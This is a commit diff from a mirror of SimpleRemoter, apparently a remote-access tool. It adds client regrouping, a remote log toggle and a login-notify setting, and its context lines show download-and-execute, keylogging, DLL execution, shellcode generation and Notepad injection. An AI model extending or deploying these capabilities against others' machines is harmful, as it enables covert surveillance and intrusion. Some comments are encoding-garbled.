mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-24 00:03:10 +08:00
Feature: Complete re-group logic and add log control
This commit is contained in:
@@ -489,6 +489,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
std::string publicIP = m_ClientObject->GetClientIP();
|
std::string publicIP = m_ClientObject->GetClientIP();
|
||||||
|
|
||||||
switch (szBuffer[0]) {
|
switch (szBuffer[0]) {
|
||||||
|
case CMD_SET_GROUP:{
|
||||||
|
std::string group = std::string((char*)szBuffer + 1);
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetStr("settings", "group_name", group);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_DOWN_EXEC:
|
case COMMAND_DOWN_EXEC:
|
||||||
{
|
{
|
||||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||||
@@ -708,6 +715,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||||
mgr->m_bIsOfflineRecord = TRUE;
|
mgr->m_bIsOfflineRecord = TRUE;
|
||||||
}
|
}
|
||||||
|
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: { //键盘记录
|
case COMMAND_KEYBOARD: { //键盘记录
|
||||||
|
|||||||
@@ -288,6 +288,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
|||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||||
{
|
{
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
LOGIN_INFOR LoginInfor;
|
LOGIN_INFOR LoginInfor;
|
||||||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||||||
//获得操作系统信息
|
//获得操作系统信息
|
||||||
@@ -301,6 +302,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
|||||||
dwCPUMHz = CPUClockMHz();
|
dwCPUMHz = CPUClockMHz();
|
||||||
|
|
||||||
BOOL bWebCamIsExist = WebCamIsExist();
|
BOOL bWebCamIsExist = WebCamIsExist();
|
||||||
|
std::string group = cfg.GetStr("settings", "group_name");
|
||||||
|
if (!group.empty())
|
||||||
|
strcpy_s(conn.szGroupName, group.c_str());
|
||||||
if (conn.szGroupName[0] == 0)
|
if (conn.szGroupName[0] == 0)
|
||||||
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
||||||
else
|
else
|
||||||
@@ -317,7 +321,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
|||||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||||
LoginInfor.AddReserved(buf); // 文件路径
|
LoginInfor.AddReserved(buf); // 文件路径
|
||||||
LoginInfor.AddReserved("?"); // test
|
LoginInfor.AddReserved("?"); // test
|
||||||
iniFile cfg(CLIENT_PATH);
|
|
||||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||||
if (installTime.empty()) {
|
if (installTime.empty()) {
|
||||||
installTime = ToPekingTimeAsString(nullptr);
|
installTime = ToPekingTimeAsString(nullptr);
|
||||||
|
|||||||
@@ -269,6 +269,7 @@ enum {
|
|||||||
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
|
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
|
||||||
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
|
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
|
||||||
TOKEN_CLIENT_MSG = 241, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
TOKEN_CLIENT_MSG = 241, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
CMD_SET_GROUP = 242, // <20>ķ<DEB8><C4B7><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
enum MachineCommand {
|
enum MachineCommand {
|
||||||
@@ -890,7 +891,8 @@ typedef struct MasterSettings {
|
|||||||
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
|
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
|
||||||
char WalletAddress[472]; // Wallets
|
char WalletAddress[472]; // Wallets
|
||||||
int EnableKBLogger; // Since 2025-11-27
|
int EnableKBLogger; // Since 2025-11-27
|
||||||
char Reserved[496]; // Since 2025-11-27
|
int EnableLog; // Since 2025-12-17
|
||||||
|
char Reserved[492]; // Since 2025-11-27
|
||||||
} MasterSettings;
|
} MasterSettings;
|
||||||
|
|
||||||
#define MasterSettingsOldSize 500
|
#define MasterSettingsOldSize 500
|
||||||
|
|||||||
Binary file not shown.
@@ -558,6 +558,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||||
|
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||||||
|
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -1200,6 +1202,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
auto w = THIS_CFG.GetStr("settings", "wallet", "");
|
auto w = THIS_CFG.GetStr("settings", "wallet", "");
|
||||||
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
|
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
|
||||||
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
|
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
|
||||||
|
m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
||||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
||||||
@@ -3856,7 +3859,18 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineRegroup()
|
void CMy2015RemoteDlg::OnOnlineRegroup()
|
||||||
{
|
{
|
||||||
TODO_NOTICE;
|
CInputDialog dlg(this);
|
||||||
|
dlg.Init("修改分组", "请输入分组名称:");
|
||||||
|
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (dlg.m_str.GetLength() >= 24) {
|
||||||
|
MessageBoxA("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BYTE cmd[50] = { CMD_SET_GROUP };
|
||||||
|
memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength());
|
||||||
|
SendSelectedCommand(cmd, sizeof(cmd));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -4238,3 +4252,23 @@ void CMy2015RemoteDlg::OnOnlineInjNotepad()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
SAFE_DELETE(tinyRun);
|
SAFE_DELETE(tinyRun);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnParamLoginNotify()
|
||||||
|
{
|
||||||
|
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
||||||
|
notify = !notify;
|
||||||
|
THIS_CFG.SetInt("settings", "LoginNotify", notify);
|
||||||
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
|
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnParamEnableLog()
|
||||||
|
{
|
||||||
|
m_settings.EnableLog = !m_settings.EnableLog;
|
||||||
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
|
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||||||
|
SendMasterSettings(nullptr);
|
||||||
|
}
|
||||||
|
|||||||
@@ -378,4 +378,6 @@ public:
|
|||||||
afx_msg void OnShellcodeAesCArray();
|
afx_msg void OnShellcodeAesCArray();
|
||||||
afx_msg void OnParamKblogger();
|
afx_msg void OnParamKblogger();
|
||||||
afx_msg void OnOnlineInjNotepad();
|
afx_msg void OnOnlineInjNotepad();
|
||||||
|
afx_msg void OnParamLoginNotify();
|
||||||
|
afx_msg void OnParamEnableLog();
|
||||||
};
|
};
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user